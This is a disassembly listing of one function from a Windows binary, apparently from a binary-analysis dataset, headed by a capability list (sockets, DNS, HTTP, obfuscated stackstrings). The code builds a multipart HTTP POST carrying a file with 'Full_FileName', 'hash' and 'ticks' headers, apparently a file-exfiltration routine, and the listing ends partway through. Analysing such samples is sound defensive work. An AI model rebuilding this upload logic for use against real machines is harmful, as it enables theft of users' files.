Function at 0x40e0d0
Capabilities:
Connect socket
Contain obfuscated stackstrings
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4535cd
mov eax, dword fs:[0]
push eax
sub esp, 0xa88
mov eax, dword [0x4668f0]
xor eax, ebp
mov dword [ebp - 0x18], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x398], ebx
mov dword [ebp - 4], ebx
mov esi, dword [ebp - 0x368]
push 4
lea edx, [ebp - 0x3c8]
push edx
push 0x1002
push 0xffff
mov byte [ebp - 4], 3
push esi
mov dword [ebp - 0x3c8], 0x1000
call sub.WS2_32.dll_setsockopt
push 4
push 0x467d14
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push 4
push 0x467d18
push 0x1005
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push ebx
mov esi, 0xf
push 0x45b404
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
call fcn.0042d2b0
mov byte [ebp - 4], 4
push 1
push 0x45b994
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
call fcn.0042d2b0
mov byte [ebp - 4], 5
push 2
push 0x45bf50
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x90], ebx
mov byte [ebp - 0xa0], bl
call fcn.0042d2b0
push 7
push str.http:__
lea eax, [ebp + 0x28]
push eax
mov byte [ebp - 4], 6
lea edi, [ebx + 0x50]
call fcn.0042c190
cmp eax, 0xffffffff
je 0x40e23d
push 0xffffffffffffffff
lea ecx, [ebx + 7]
lea esi, [ebp - 0x3b8]
lea edx, [ebp + 0x28]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x28]
mov byte [ebp - 4], 7
call fcn.0042bf10
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3a0], 0x10
jb 0x40e23d
mov ecx, dword [ebp - 0x3b4]
push ecx
call fcn.00434321
add esp, 4
push 0xffffffffffffffff
push ebx
lea edx, [ebp + 0x28]
push edx
lea ecx, [ebp - 0x6c]
call fcn.0042bf10
push 1
push 0x45b994
lea eax, [ebp - 0x6c]
push eax
call fcn.0042c190
cmp eax, 0xffffffff
je 0x40e303
push 1
push 0x45b994
lea ecx, [ebp + 0x28]
push ecx
call fcn.0042c190
push eax
xor ecx, ecx
lea esi, [ebp - 0x3b8]
lea edx, [ebp + 0x28]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 8
call fcn.0042bf10
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3a0], 0x10
jb 0x40e2b2
mov edx, dword [ebp - 0x3b4]
push edx
call fcn.00434321
add esp, 4
push 1
push 0x45b994
lea eax, [ebp + 0x28]
push eax
call fcn.0042c190
push 0xffffffffffffffff
mov ecx, eax
lea esi, [ebp - 0x3b8]
lea edx, [ebp + 0x28]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 9
call fcn.0042bf10
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3a0], 0x10
jb 0x40e303
mov ecx, dword [ebp - 0x3b4]
push ecx
call fcn.00434321
add esp, 4
push 1
push 0x45bc24
lea edx, [ebp - 0x6c]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
je 0x40e3dd
push 1
push 0x45bc24
lea eax, [ebp - 0x6c]
push eax
call fcn.0042c190
push 0xffffffffffffffff
lea ecx, [eax + 1]
lea esi, [ebp - 0x3b8]
lea edx, [ebp - 0x6c]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 0xa
call fcn.0042bf10
mov edi, 0x10
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3a0], edi
jb 0x40e372
mov ecx, dword [ebp - 0x3b4]
push ecx
call fcn.00434321
add esp, 4
push 1
push 0x45bc24
lea edx, [ebp - 0x6c]
push edx
call fcn.0042c190
push eax
xor ecx, ecx
lea esi, [ebp - 0x3b8]
lea edx, [ebp - 0x6c]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0xb
call fcn.0042bf10
mov byte [ebp - 4], 6
cmp dword [ebp - 0x3a0], edi
jb 0x40e3be
mov eax, dword [ebp - 0x3b4]
push eax
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x8c], edi
jae 0x40e3d2
lea eax, [ebp - 0xa0]
push eax
call fcn.00435329
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x68]
mov ecx, 0x10
cmp dword [ebp - 0x54], ecx
jae 0x40e3ed
lea eax, [ebp - 0x68]
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x360], eax
mov eax, dword [0x468da8]
mov dword [ebp - 0x370], edi
cmp eax, ebx
je 0x40e42e
cmp dword [0x467af0], ecx
jb 0x40e41e
mov ecx, dword [0x467adc]
mov dword [ebp - 0x360], ecx
jmp 0x40e428
mov dword [ebp - 0x360], 0x467adc
mov dword [ebp - 0x370], eax
call fcn.00403af0
push eax
lea edx, [ebp - 0x34]
push edx
mov dword [ebp - 0x36c], eax
call fcn.004027f0
add esp, 8
push eax
mov ecx, str._______bnd
lea edi, [ebp - 0x168]
mov byte [ebp - 4], 0xc
call fcn.0042f190
add esp, 4
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x1c], 0x10
jb 0x40e474
mov eax, dword [ebp - 0x30]
push eax
call fcn.00434321
add esp, 4
lea ecx, [ebp - 0x168]
push ecx
mov ecx, 0x45c064
lea edi, [ebp - 0x3ec]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
call fcn.0042f190
add esp, 4
push eax
mov edi, str._r_nContent_Disposition:_attachment__name_file___filename_
lea esi, [ebp - 0x408]
mov byte [ebp - 4], 0xf
call fcn.0042f240
add esp, 4
lea edx, [ebp + 0xc]
push edx
push eax
lea edi, [ebp - 0x424]
mov byte [ebp - 4], 0x10
call fcn.0042f780
add esp, 8
push eax
mov edi, str.__r_nContent_Type:_text_plain_r_n_r_n
lea esi, [ebp - 0x1bc]
mov byte [ebp - 4], 0x11
call fcn.0042f240
add esp, 4
mov edi, 0x10
cmp dword [ebp - 0x40c], edi
jb 0x40e4fe
mov eax, dword [ebp - 0x420]
push eax
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x40c], esi
mov dword [ebp - 0x410], ebx
mov byte [ebp - 0x420], bl
cmp dword [ebp - 0x3f0], edi
jb 0x40e52c
mov ecx, dword [ebp - 0x404]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x3f0], esi
mov dword [ebp - 0x3f4], ebx
mov byte [ebp - 0x404], bl
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x3d4], edi
jb 0x40e559
mov edx, dword [ebp - 0x3e8]
push edx
call fcn.00434321
add esp, 4
lea eax, [ebp - 0x168]
push eax
mov ecx, str._r_n__
lea edi, [ebp - 0x1a0]
mov dword [ebp - 0x3d4], esi
mov dword [ebp - 0x3d8], ebx
mov byte [ebp - 0x3e8], bl
call fcn.0042f190
add esp, 4
mov edx, dword [ebp + 0x60]
mov eax, dword [ebp - 0x36c]
lea ecx, [ebp - 0x1bc]
push ecx
push edx
push eax
lea ecx, [ebp - 0x6f0]
push ecx
mov byte [ebp - 4], 0x16
call fcn.004027f0
add esp, 8
push 5
xor ecx, ecx
lea esi, [ebp - 0x8b0]
mov edx, eax
mov byte [ebp - 4], 0x17
call fcn.0042b6b0
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x18], 0x10
jb 0x40e5ce
mov eax, dword [eax + 4]
jmp 0x40e5d1
add eax, 4
push eax
call fcn.00435329
add esp, 4
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x398], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp + 0x44]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0x6b8]
call fcn.00409f10
add esp, 0x24
push eax
mov eax, dword [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x990]
push ecx
mov byte [ebp - 4], 0x19
call fcn.004027f0
add esp, 8
push eax
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x398], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp + 0xc]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0x680]
call fcn.0040df20
add esp, 0x1c
mov dword [ebp - 0x368], eax
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x18c]
add ecx, eax
add ecx, dword [ebp + 0x60]
lea edx, [ebp - 0x878]
push ecx
push edx
call fcn.004027f0
add esp, 8
mov dword [ebp - 0x374], eax
lea eax, [ebp - 0x130]
push eax
mov ecx, str.POST
lea edi, [ebp - 0x648]
mov byte [ebp - 4], 0x1c
call fcn.0042f190
add esp, 4
push eax
mov edi, str._HTTP_1.0_r_nHost:
lea esi, [ebp - 0xa00]
mov byte [ebp - 4], 0x1d
call fcn.0042f240
add esp, 4
lea ecx, [ebp - 0x6c]
push ecx
push eax
lea edi, [ebp - 0x610]
mov byte [ebp - 4], 0x1e
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x840]
mov byte [ebp - 4], 0x1f
call fcn.0042f240
add esp, 4
push eax
mov edi, str.User_Agent:
lea esi, [ebp - 0x5d8]
mov byte [ebp - 4], 0x20
call fcn.0042f240
add esp, 4
lea edx, [ebp + 0x44]
push edx
push eax
lea edi, [ebp - 0x958]
mov byte [ebp - 4], 0x21
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x5a0]
mov byte [ebp - 4], 0x22
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Content_Type:_multipart_form_data__boundary
lea esi, [ebp - 0x450]
mov byte [ebp - 4], 0x23
call fcn.0042f240
add esp, 4
lea ecx, [ebp - 0x168]
push ecx
push eax
lea edi, [ebp - 0x568]
mov byte [ebp - 4], 0x24
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xa38]
mov byte [ebp - 4], 0x25
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Content_Length:
lea esi, [ebp - 0x530]
mov byte [ebp - 4], 0x26
call fcn.0042f240
add esp, 4
mov edx, dword [ebp - 0x374]
push edx
push eax
lea edi, [ebp - 0x7d0]
mov byte [ebp - 4], 0x27
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x4f8]
mov byte [ebp - 4], 0x28
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Full_FileName:
lea esi, [ebp - 0x920]
mov byte [ebp - 4], 0x29
call fcn.0042f240
add esp, 4
mov ecx, dword [ebp - 0x368]
push ecx
push eax
lea edi, [ebp - 0x4c0]
mov byte [ebp - 4], 0x2a
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x798]
mov byte [ebp - 4], 0x2b
call fcn.0042f240
add esp, 4
push eax
mov edi, str.unicode:_0_r_n
lea esi, [ebp - 0x488]
mov byte [ebp - 4], 0x2c
call fcn.0042f240
add esp, 4
push eax
mov edi, str.ticks:
lea esi, [ebp - 0xa8c]
mov byte [ebp - 4], 0x2d
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0xa54]
mov byte [ebp - 4], 0x2e
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xa1c]
mov byte [ebp - 4], 0x2f
call fcn.0042f240
add esp, 4
push eax
mov edi, str.hash:
lea esi, [ebp - 0x808]
mov byte [ebp - 4], 0x30
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x34]
mov byte [ebp - 4], 0x31
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x424]
mov byte [ebp - 4], 0x32
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Connection:_Keep_Alive_r_n
lea esi, [ebp - 0x408]
mov byte [ebp - 4], 0x33
call fcn.0042f240
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x3ec]
mov byte [ebp - 4], 0x34
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x184]
mov byte [ebp - 4], 0x35
call fcn.0042f780
add esp, 8
mov edi, 0x10
cmp dword [ebp - 0x3d4], edi
jb 0x40e911
mov edx, dword [ebp - 0x3e8]
push edx
call fcn.00434321
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x3d4], esi
mov dword [ebp - 0x3d8], ebx
mov byte [ebp - 0x3e8], bl
cmp dword [ebp - 0x3f0], edi
jb 0x40e93f
mov eax, dword [ebp - 0x404]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x3f0], esi
mov dword [ebp - 0x3f4], ebx
mov byte [ebp - 0x404], bl
cmp dword [ebp - 0x40c], edi
jb 0x40e968
mov ecx, dword [ebp - 0x420]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x40c], esi
mov dword [ebp - 0x410], ebx
mov byte [ebp - 0x420], bl
cmp dword [ebp - 0x1c], edi
jb 0x40e98b
mov edx, dword [ebp - 0x30]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [ebp - 0x7f0], edi
jb 0x40e9ab
mov eax, dword [ebp - 0x804]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x7f0], esi
mov dword [ebp - 0x7f4], ebx
mov byte [ebp - 0x804], bl
cmp dword [ebp - 0xa04], edi
jb 0x40e9d4
mov ecx, dword [ebp - 0xa18]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa04], esi
mov dword [ebp - 0xa08], ebx
mov byte [ebp - 0xa18], bl
cmp dword [ebp - 0xa3c], edi
jb 0x40e9fd
mov edx, dword [ebp - 0xa50]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa3c], esi
mov dword [ebp - 0xa40], ebx
mov byte [ebp - 0xa50], bl
cmp dword [ebp - 0xa74], edi
jb 0x40ea26
mov eax, dword [ebp - 0xa88]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa74], esi
mov dword [ebp - 0xa78], ebx
mov byte [ebp - 0xa88], bl
cmp dword [ebp - 0x470], edi
jb 0x40ea4f
mov ecx, dword [ebp - 0x484]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x470], esi
mov dword [ebp - 0x474], ebx
mov byte [ebp - 0x484], bl
cmp dword [ebp - 0x780], edi
jb 0x40ea78
mov edx, dword [ebp - 0x794]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x780], esi
mov dword [ebp - 0x784], ebx
mov byte [ebp - 0x794], bl
cmp dword [ebp - 0x4a8], edi
jb 0x40eaa1
mov eax, dword [ebp - 0x4bc]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x4a8], esi
mov dword [ebp - 0x4ac], ebx
mov byte [ebp - 0x4bc], bl
cmp dword [ebp - 0x908], edi
jb 0x40eaca
mov ecx, dword [ebp - 0x91c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x908], esi
mov dword [ebp - 0x90c], ebx
mov byte [ebp - 0x91c], bl
cmp dword [ebp - 0x4e0], edi
jb 0x40eaf3
mov edx, dword [ebp - 0x4f4]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x4e0], esi
mov dword [ebp - 0x4e4], ebx
mov byte [ebp - 0x4f4], bl
cmp dword [ebp - 0x7b8], edi
jb 0x40eb1c
mov eax, dword [ebp - 0x7cc]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x7b8], esi
mov dword [ebp - 0x7bc], ebx
mov byte [ebp - 0x7cc], bl
cmp dword [ebp - 0x518], edi
jb 0x40eb45
mov ecx, dword [ebp - 0x52c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x518], esi
mov dword [ebp - 0x51c], ebx
mov byte [ebp - 0x52c], bl
cmp dword [ebp - 0xa20], edi
jb 0x40eb6e
mov edx, dword [ebp - 0xa34]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa20], esi
mov dword [ebp - 0xa24], ebx
mov byte [ebp - 0xa34], bl
cmp dword [ebp - 0x550], edi
jb 0x40eb97
mov eax, dword [ebp - 0x564]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x550], esi
mov dword [ebp - 0x554], ebx
mov byte [ebp - 0x564], bl
cmp dword [ebp - 0x438], edi
jb 0x40ebc0
mov ecx, dword [ebp - 0x44c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x438], esi
mov dword [ebp - 0x43c], ebx
mov byte [ebp - 0x44c], bl
cmp dword [ebp - 0x588], edi
jb 0x40ebe9
mov edx, dword [ebp - 0x59c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x588], esi
mov dword [ebp - 0x58c], ebx
mov byte [ebp - 0x59c], bl
cmp dword [ebp - 0x940], edi
jb 0x40ec12
mov eax, dword [ebp - 0x954]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x940], esi
mov dword [ebp - 0x944], ebx
mov byte [ebp - 0x954], bl
cmp dword [ebp - 0x5c0], edi
jb 0x40ec3b
mov ecx, dword [ebp - 0x5d4]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x5c0], esi
mov dword [ebp - 0x5c4], ebx
mov byte [ebp - 0x5d4], bl
cmp dword [ebp - 0x828], edi
jb 0x40ec64
mov edx, dword [ebp - 0x83c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x828], esi
mov dword [ebp - 0x82c], ebx
mov byte [ebp - 0x83c], bl
cmp dword [ebp - 0x5f8], edi
jb 0x40ec8d
mov eax, dword [ebp - 0x60c]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x5f8], esi
mov dword [ebp - 0x5fc], ebx
mov byte [ebp - 0x60c], bl
cmp dword [ebp - 0x9e8], edi
jb 0x40ecb6
mov ecx, dword [ebp - 0x9fc]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x9e8], esi
mov dword [ebp - 0x9ec], ebx
mov byte [ebp - 0x9fc], bl
cmp dword [ebp - 0x630], edi
jb 0x40ecdf
mov edx, dword [ebp - 0x644]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x630], esi
mov dword [ebp - 0x634], ebx
mov byte [ebp - 0x644], bl
cmp dword [ebp - 0x860], edi
jb 0x40ed08
mov eax, dword [ebp - 0x874]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x860], esi
mov dword [ebp - 0x864], ebx
mov byte [ebp - 0x874], bl
cmp dword [ebp - 0x668], edi
jb 0x40ed31
mov ecx, dword [ebp - 0x67c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x668], esi
mov dword [ebp - 0x66c], ebx
mov byte [ebp - 0x67c], bl
cmp dword [ebp - 0x978], edi
jb 0x40ed5a
mov edx, dword [ebp - 0x98c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x978], esi
mov dword [ebp - 0x97c], ebx
mov byte [ebp - 0x98c], bl
cmp dword [ebp - 0x6a0], edi
jb 0x40ed83
mov eax, dword [ebp - 0x6b4]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x6a0], esi
mov dword [ebp - 0x6a4], ebx
mov byte [ebp - 0x6b4], bl
cmp dword [ebp - 0x898], edi
jb 0x40edac
mov ecx, dword [ebp - 0x8ac]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x898], esi
mov dword [ebp - 0x89c], ebx
mov byte [ebp - 0x8ac], bl
mov byte [ebp - 4], 0x55
cmp dword [ebp - 0x6d8], edi
jb 0x40edd9
mov edx, dword [ebp - 0x6ec]
push edx
call fcn.00434321
add esp, 4
push ebx
push 0x45b404
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x6d8], esi
mov dword [ebp - 0x6dc], ebx
mov byte [ebp - 0x6ec], bl
call fcn.0042d2b0
push ebx
push 0x45b404
lea ecx, [ebp - 0x1a0]
call fcn.0042d2b0
mov eax, dword [ebp + 0x60]
mov ecx, dword [ebp - 0x36c]
push eax
push ecx
lea edx, [ebp - 0x394]
push edx
mov dword [ebp - 0x398], str.Connection:_Keep_Alive_r_n
call fcn.004027f0
add esp, 8
push 5
xor ecx, ecx
lea esi, [ebp - 0x3b8]
mov edx, eax
mov byte [ebp - 4], 0x56
call fcn.0042b6b0
mov byte [ebp - 4], 0x57
cmp dword [eax + 0x18], 0x10
jb 0x40ee55
mov eax, dword [eax + 4]
jmp 0x40ee58
add eax, 4
push eax
call fcn.00435329
add esp, 4
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3c0], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x44]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0x9e4]
call fcn.00409f10
add esp, 0x24
mov ecx, dword [ebp - 0x36c]
push eax
push ecx
lea edx, [ebp - 0x9ac]
mov byte [ebp - 4], 0x58
push edx
mov dword [ebp - 0x3c0], str.hash:
call fcn.004027f0
add esp, 8
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x3bc], esp
mov byte [ebp - 4], 0x59
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0xc]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push eax
mov dword [ebp - 0x3cc], str.ticks:
mov dword [ebp - 0x430], str.unicode:_0_r_n
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0x974]
call fcn.0040df20
add esp, 0x1c
mov ecx, dword [ebp + 0x60]
push eax
push ecx
lea edx, [ebp - 0x93c]
push edx
mov byte [ebp - 4], 0x5a
mov dword [ebp - 0x3bc], str.Full_FileName:
call fcn.004027f0
add esp, 8
push eax
lea eax, [ebp + 0x44]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x374], esp
push 0xffffffffffffffff
mov byte [ebp - 4], 0x5b
push ebx
lea edx, [ebp + 0xc]
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push edx
mov dword [ebp - 0x368], str.Content_Length:
mov dword [ebp - 0x36c], str.User_Agent:
mov byte [ecx + 4], bl
call fcn.0042bf10
lea ecx, [ebp - 0x904]
call fcn.0040df20
add esp, 0x1c
mov dword [ebp - 0x374], eax
lea eax, [ebp - 0x130]
push eax
mov ecx, str.POST
lea edi, [ebp - 0x8cc]
mov byte [ebp - 4], 0x5c
call fcn.0042f190
add esp, 4
push eax
mov edi, str._HTTP_1.0_r_nHost:
lea esi, [ebp - 0x894]
mov byte [ebp - 4], 0x5d
call fcn.0042f240
add esp, 4
lea ecx, [ebp - 0x6c]
push ecx
push eax
lea edi, [ebp - 0x85c]
mov byte [ebp - 4], 0x5e
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x824]
mov byte [ebp - 4], 0x5f
call fcn.0042f240
add esp, 4
push eax
mov edi, str.filename:
lea esi, [ebp - 0x7ec]
mov byte [ebp - 4], 0x60
call fcn.0042f240
add esp, 4
mov edx, dword [ebp - 0x374]
push edx
push eax
lea edi, [ebp - 0x7b4]
mov byte [ebp - 4], 0x61
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x77c]
mov byte [ebp - 4], 0x62
call fcn.0042f240
add esp, 4
mov edi, dword [ebp - 0x36c]
push eax
lea esi, [ebp - 0x744]
mov byte [ebp - 4], 0x63
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x70c]
mov byte [ebp - 4], 0x64
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x6d4]
mov byte [ebp - 4], 0x65
call fcn.0042f240
add esp, 4
mov edi, dword [ebp - 0x368]
push eax
lea esi, [ebp - 0x69c]
mov byte [ebp - 4], 0x66
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x67
push eax
lea edi, [ebp - 0x664]
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x62c]
mov byte [ebp - 4], 0x68
call fcn.0042f240
add esp, 4
mov edi, dword [ebp - 0x3bc]
push eax
lea esi, [ebp - 0x5f4]
mov byte [ebp - 4], 0x69
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x5bc]
mov byte [ebp - 4], 0x6a
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x584]
mov byte [ebp - 4], 0x6b
call fcn.0042f240
add esp, 4
push eax
mov edi, str.Expect:_100_continue_r_n
lea esi, [ebp - 0x54c]
mov byte [ebp - 4], 0x6c
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x6d
mov edi, dword [ebp - 0x430]
push eax
lea esi, [ebp - 0x514]
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x6e
mov edi, dword [ebp - 0x3cc]
push eax
lea esi, [ebp - 0x4dc]
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x4a4]
mov byte [ebp - 4], 0x6f
call fcn.0042f780
add esp, 8
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x46c]
mov byte [ebp - 4], 0x70
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x71
mov edi, dword [ebp - 0x3c0]
push eax
lea esi, [ebp - 0x9c8]
call fcn.0042f240
add esp, 4
push eax
lea edi, [ebp - 0x760]
mov byte [ebp - 4], 0x72
call fcn.0042f780
add esp, 8
mov byte [ebp - 4], 0x73
push eax
mov edi, 0x45b520
lea esi, [ebp - 0x8e8]
call fcn.0042f240
add esp, 4
mov byte [ebp - 4], 0x74
mov edi, dword [ebp - 0x398]
push eax
lea esi, [ebp - 0x728]
call fcn.0042f240
add esp, 4
push eax
mov edi, 0x45b520
lea esi, [ebp - 0xa70]
mov byte [ebp - 4], 0x75
call fcn.0042f240
add esp, 4
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x184]
mov byte [ebp - 4], 0x76
call fcn.0042bf10
mov esi, 0x10
cmp dword [ebp - 0xa58], esi
jb 0x40f208
mov eax, dword [ebp - 0xa6c]
push eax
call fcn.00434321
add esp, 4
mov edi, 0xf
mov dword [ebp - 0xa58], edi
mov dword [ebp - 0xa5c], ebx
mov byte [ebp - 0xa6c], bl
cmp dword [ebp - 0x710], esi
jb 0x40f236
mov ecx, dword [ebp - 0x724]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x710], edi
mov dword [ebp - 0x714], ebx
mov byte [ebp - 0x724], bl
cmp dword [ebp - 0x8d0], esi
jb 0x40f25f
mov edx, dword [ebp - 0x8e4]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8d0], edi
mov dword [ebp - 0x8d4], ebx
mov byte [ebp - 0x8e4], bl
cmp dword [ebp - 0x748], esi
jb 0x40f288
mov eax, dword [ebp - 0x75c]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x748], edi
mov dword [ebp - 0x74c], ebx
mov byte [ebp - 0x75c], bl
cmp dword [ebp - 0x9b0], esi
jb 0x40f2b1
mov ecx, dword [ebp - 0x9c4]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x9b0], edi
mov dword [ebp - 0x9b4], ebx
mov byte [ebp - 0x9c4], bl
cmp dword [ebp - 0x454], esi
jb 0x40f2da
mov edx, dword [ebp - 0x468]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x454], edi
mov dword [ebp - 0x458], ebx
mov byte [ebp - 0x468], bl
cmp dword [ebp - 0x48c], esi
jb 0x40f303
mov eax, dword [ebp - 0x4a0]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x48c], edi
mov dword [ebp - 0x490], ebx
mov byte [ebp - 0x4a0], bl
cmp dword [ebp - 0x4c4], esi
jb 0x40f32c
mov ecx, dword [ebp - 0x4d8]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x4c4], edi
mov dword [ebp - 0x4c8], ebx
mov byte [ebp - 0x4d8], bl
cmp dword [ebp - 0x4fc], esi
jb 0x40f355
mov edx, dword [ebp - 0x510]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x4fc], edi
mov dword [ebp - 0x500], ebx
mov byte [ebp - 0x510], bl
cmp dword [ebp - 0x534], esi
jb 0x40f37e
mov eax, dword [ebp - 0x548]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x534], edi
mov dword [ebp - 0x538], ebx
mov byte [ebp - 0x548], bl
cmp dword [ebp - 0x56c], esi
